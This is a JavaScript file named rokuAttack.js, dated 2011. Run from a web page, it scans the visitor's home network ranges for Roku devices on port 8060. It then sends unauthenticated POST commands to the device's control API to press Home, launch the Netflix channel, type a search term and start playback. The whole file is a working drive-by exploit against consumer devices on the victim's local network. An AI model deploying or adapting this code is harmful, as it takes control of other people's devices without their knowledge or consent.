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//
// rokuAttack.js
// 7codes
//
// Created by gregory tomlinson on 2011-05-08.
// Copyright 2011 the public domain. All rights reserved.
//
/*
Dependency
CallerQueue (included atm)
*/
(function(window, undefined) {
var image_explorers=[], frame_id="discover_device_frame",
local_network_types = [{
name : "linksys/apple",
start : "http://192.168.1.",
end : ":8060",
range : [2,199]
},{
name : "netgear/dlink",
start : "http://192.168.0.",
end : ":8060",
range : [2,199]
},{
name : "belkin",
start : "http://192.168.2.",
end : ":8060",
range : [2,100]
},{
name : "belkin",
start : "http://10.0.1.",
end : ":8060",
range : [2,100]
}],
types_pos=0,
discover_interval=null;
function CallerQueue() {
var lst=[], pos=-1;
function call_method( item ) {
var token = item.method.apply(item, item.args );
if(token && token.done) {
token.done(function() {
run();
});
} else {
run();
}
}
function run() {
pos+=1;
if(pos >= lst.length) {
return;
}
if(lst[pos].timeout) {
setTimeout( function() {
call_method( lst[pos] );
}, lst[pos].timeout);
} else {
call_method( lst[pos] );
}
}
this.append=function( method, args, timer_ms ) {
lst.push({
"method" : method,
"timeout" : timer_ms,
"args" : args
});
}
this.execute=function() {
run();
}
}
window.rokuAttack = {
host_addr : null,
target_term : null,
attack : function( term ) {
rokuAttack.target_term=term;
setTimeout(function() {
rokuAttack.init( rokuAttack._basic_attack );
}, 200)
// rokuAttack.basic_attack
},
init : function( callback ) {
// todo, use deferred
var host = window.localStorage.getItem("host_addr");
types_pos=JSON.parse( window.localStorage.getItem("types_pos") ) || types_pos;
types_pos=Math.min(types_pos,local_network_types.length-1);
if(!host) {
// put in an iframe and dothis?? yes...
rokuAttack.find_ip( function() {
// spawn a window for this, a popunder.. maybe just open a new tab?
// how about a worker?
try {
window.localStorage.setItem("host_addr", rokuAttack.host_addr);
window.localStorage.setItem("types_pos", 0 );
window.localStorage.removeItem("types_pos");
document.location.reload(); // clear out the image requests
callback( rokuAttack.host_addr );
} catch(e) {
callback( rokuAttack.host_addr );
}
});
} else {
rokuAttack.host_addr=host;
// test to make sure the ipaddrss is still good.
callback( rokuAttack.host_addr );
}
},
// todo, need some sequential chaining... maybe the jquery deferred
_basic_attack : function( host_addr ) {
var queue = new CallerQueue();
queue.append( rokuAttack.display_photo, [], 0);
queue.append( rokuAttack.press_home, [], 0 );
queue.append( rokuAttack.press_launch, [], 0 );
queue.append( rokuAttack.press_down, ["Search"], 15000 );
queue.append( rokuAttack.type_word, [ rokuAttack.target_term || "Robo"], 5000 );
queue.append( rokuAttack.press_key, ["Play"], 2000 );
queue.append( rokuAttack.press_key, ["Select"], 5000 );
queue.append( rokuAttack.press_key, ["Select"], 4000 );
queue.execute();
},
type_word : function( word_str ) {
// provide about a half second deply between pressing buttons
var typing=true, pos=0, track_word=decodeURIComponent(word_str),
timer_interval=null, dfr = $.Deferred();
timer_interval=setInterval(function() {
if(pos < track_word.length) {
rokuAttack.press_letter( encodeURIComponent( track_word[pos] ) );
} else {
if(timer_interval) {
clearInterval(timer_interval);
dfr.resolve();
}
}
pos++;
}, 900);
return dfr.promise();
},
display_photo : function() {
var frag= [{
type : "img",
attrs : {
src : rokuAttack.host_addr + "/query/icon/12"
}
},{
content : "Pressed the home button for ya. Just to say hello"
}]
$("#middle").append(fastFrag.create(frag) );
},
command : function( cmnd ) {
var dfr = $.Deferred();
$.ajax({
url : rokuAttack.host_addr + cmnd,
type : "POST",
complete : dfr.resolve,
});
return dfr.promise();
},
press_home : function() {
var dfr = $.Deferred();
$.ajax({
url : rokuAttack.host_addr + "/keypress/Home",
type : "POST",
complete : dfr.resolve,
});
return dfr.promise();
},
press_info : function( callback ) {
var dfr = $.Deferred();
$.ajax({
url : rokuAttack.host_addr + "/keypress/Info",
type : "POST",
complete : dfr.resolve
});
return dfr.promise();
},
press_key : function(keyname ) {
var dfr = $.Deferred();
$.ajax({
url : rokuAttack.host_addr + "/keypress/" + keyname,
type : "POST",
complete : dfr.resolve
});
return dfr.promise();
},
press_down : function(keyname ) {
var dfr = $.Deferred();
$.ajax({
url : rokuAttack.host_addr + "/keydown/" + keyname,
type : "POST",
complete : dfr.resolve
});
return dfr.promise();
},
press_up : function(keyname ) {
var dfr = $.Deferred();
$.ajax({
url : rokuAttack.host_addr + "/keyup/" + keyname,
type : "POST",
complete : dfr.resolve
});
return dfr.promise();
},
press_letter : function(letter) {
var dfr = $.Deferred();
$.ajax({
url : rokuAttack.host_addr + "/keypress/Lit_" + letter,
type : "POST",
complete : dfr.resolve
});
return dfr.promise();
},
press_launch : function() {
var dfr = $.Deferred(),
host_url= rokuAttack.host_addr + "/launch/12";
$.ajax({
url : host_url,
type : "POST",
complete : dfr.resolve
});
return dfr.promise();
},
launch_app : function( callback ) {
/*
/launch/dev?url=http%3A%2F%2Fvideo.ted.com%2Ftalks%2Fpodcast%2FVilayanurRamachandran_2007_480.mp4"
"&streamformat=mp4
*/
var host_url= rokuAttack.host_addr + "/launch/dev?url=http%3A%2F%2Fvideo.ted.com%2Ftalks%2Fpodcast%2FVilayanurRamachandran_2007_480.mp4&streamformat=mp4"
$.ajax({
url : host_url,
type : "POST",
complete : (callback || function() {}),
});
},
find_ip : function( callback ) {
// less then elegant, spider for the image.
rokuAttack.__image_find(function( host_addr ) {
console.log("found an address", host_addr)
rokuAttack.host_addr=host_addr;
clearInterval(rokuAttack.discover_interval);
callback( rokuAttack.host_addr );
});
rokuAttack.discover_interval=setTimeout(rokuAttack.check_ip_discovery, 10000);
},
check_ip_discovery : function() {
if(!rokuAttack.host_addr) {
window.localStorage.setItem("types_pos", types_pos+=1);
document.location.reload();
}
},
__image_find : function( callback ) {
var types=local_network_types[types_pos];
types.range[0]
types.range[1]
for(var i=types.range[1]; i>=types.range[0]; i--) {
var img = new Image();
img.onload=(function(info_type, pos) {
return function() {
rokuAttack.host_addr=info_type.start + pos + info_type.end;
console.log("found", rokuAttack.host_addr);
callback( rokuAttack.host_addr );
}
})(types, i);
img.src=types.start + i + types.end + "/query/icon/12"; // the netflix icon
}
},
__build_frame : function( frame_source, callback ) {
var iframe = document.createElement("iframe");
iframe.id="discover_device_frame";
iframe.onload=callback;
iframe.width="1px";
iframe.height="1px";
iframe.setAttribute("frameborder", 0);
iframe.src=frame_source;
document.body.appendChild(iframe );
return iframe;
},
}
})(window);
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